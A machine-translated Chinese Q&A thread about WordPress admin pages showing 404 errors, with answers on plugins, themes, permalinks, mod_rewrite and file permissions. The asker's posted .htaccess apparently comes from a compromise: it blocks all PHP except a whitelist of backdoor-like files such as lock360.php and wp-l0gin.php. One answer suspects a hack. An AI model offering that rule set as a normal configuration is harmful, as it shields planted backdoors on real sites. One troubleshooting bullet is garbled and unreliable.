管理员链接显示404 WordPress



登录成功后,我无法访问管理面板上的任何页面(我无法创建新帖子,我无法编辑帖子,我不能创建页面,我不能访问左侧边栏的任何页面),它们都显示404错误。我已经检查了.htaccess,但没问题。我无法访问永久链接页面,因为它将显示404错误。

所有这些都在工作,直到我昨天尝试访问它。

.htaccess文件

<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch 
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

@BlackPearl我曾多次尝试联系您,帮助您调试网站,但您没有回复。我本来打算帮你避免经历";猎枪方法";尝试你在网上找到的或人们扔给你的每一种可能的组合。

无论如何,从经验来看,这通常是由于一个主要原因造成的,那就是过时的主题和/或过时的插件。随着时间的推移,过时的主题和插件会失去与新版本wordpress的兼容性,并导致各种严重的错误。有时这种情况会发生,因为服务器和主机公司迁移到了不支持那些过时主题和插件功能的PHP新版本。

话虽如此,我会尝试做以下步骤来调试它:

  • 我尝试的第一件事就是切换主题。我会将当前主题切换为wordpress默认主题
  • 在您的CCD_ 2中,尝试将您的CCD_;utf">
  • 有时文件会因为某些原因而损坏,所以请尝试查看位于wordpress核心根文件夹中的index.php文件是否具有正确的内容。不是主题根文件夹中的那个,而是与wp-admin文件夹位于同一目录中的另一个
  • 尝试清除你的WordPress缓存。如果你在你的网站上使用一个缓存插件,那么清除你的插件缓存
  • 查看functions.php文件的顶部和/或底部是否有多余的空间。如果是,请删除这些多余的空间
  • 试着增加你的内存限制,特别是如果你的wordpress网站使用图形/图像相关的插件。
    • wp-config.php文件中,定义('WP_MEMORY_LIMIT','256M')

确保您的/wp-admin/文件夹不包含任何.htaccess文件删除(如果有)。

如果问题仍然存在

确保mod_rewrite已启用

如何检查服务器上是否启用了mod_rewrite?

启用mod,重新启动apache。

如果问题仍然存在

检查Apache配置中是否允许.htaccess

去找你的Apache配置

确保AllowOverride指令设置为All并且在<Directory /var/www/your/dir/where/wp/is>:内

记得重新启动Apache。

如果问题仍然存在

删除.htaccess重置永久链接

转到/wp-login.php并登录。

设置->永久链接->拯救(WP将自动重新创建.htaccess)。

如果您无法以编程方式访问永久链接页面,请将该片段添加到functions.php:

add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );

刷新页面。。。现在,您的.htacces被重新创建。从functions.php中删除代码。

如果问题仍然存在

尝试禁用插件例如,将文件夹wp-content/plugins重命名为_plugins

刷新页面。现在你的插件被停用了。

如果问题消失,请逐个启用插件,直到问题再次出现。这就是你如何找到有故障的插件。

我看到你在拒绝php文件。如果你有覆盖htaccess文件的插件,请禁用它。或者编辑当前的htaccess文件并更改

<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>

<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>

如果你仍然无法访问你的网站,请将当前的htaccess替换为默认的htaccess进行测试。

# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress

我会通过使用ftp(或ssh)重命名所有插件的文件夹来禁用它们。这样你就可以排除插件是个问题。如果这解决了问题,请逐个重新打开插件,直到它坏掉。然后,如果你发布插件的名称,你(我们)可以查看它的代码,看看发生了什么

在管理控制面板中,转到"工具"->站点运行状况。在那里寻找可能表明问题所在的问题。

例如,有时您会看到REST API有一个错误。当插件或主题的代码不正确,破坏了API调用的正确响应时,就会发生这种情况。这会中断对页面/帖子/其他自定义帖子类型的编辑。

若要解决此问题,请尝试禁用所有主题。一种将SFTP快速导入服务器并将wp-content/plugins目录重命名为类似plugins-renamed的目录的方法。然后重新加载任何管理页面。然后将其重新命名。您的所有插件都将被禁用,您可以一次重新启用一个,同时检查网站运行状况页面以查看问题是否再次出现。

也尝试激活一个不同的主题,看看是否可以修复它。

我想,你被黑了。检查配置文件,它必须有一些胡言乱语的代码,破坏php的执行。恢复您的数据库或至少对其进行检查。检查你有多少用户。你有管理员的用户吗。尝试使用该用户登录。检查您的文件。尝试从备份中还原。检查您的unix文件设置可能是某些文件需要执行权限。

https://www.malcare.com/blog/wordpress-file-permissions/

将php版本升级到最新版本,它将重新启动。当你不使用支持的PHP版本时,WordPress可能会出现故障。

WordPress 的PHP要求

在我的例子中,只有WordPress插件页面显示404,我尝试过的其他页面都很好。事实证明,wp-admin/plugins.php文件的权限设置为666,而几乎所有其他文件都有644权限。将权限更改为644解决了此问题。我使用cPanel文件管理器完成了此操作。

404错误表示浏览器找不到要访问的页面。根据您使用的浏览器的不同,确切的消息可能会有所不同。尝试的第一步是重置永久链接。前往你的WordPress面板并导航到设置>永久链接。从这里,只需单击"保存更改"。没错,你实际上不需要编辑任何东西。单击该按钮将更新永久链接设置,即使您没有进行任何更改。

最新更新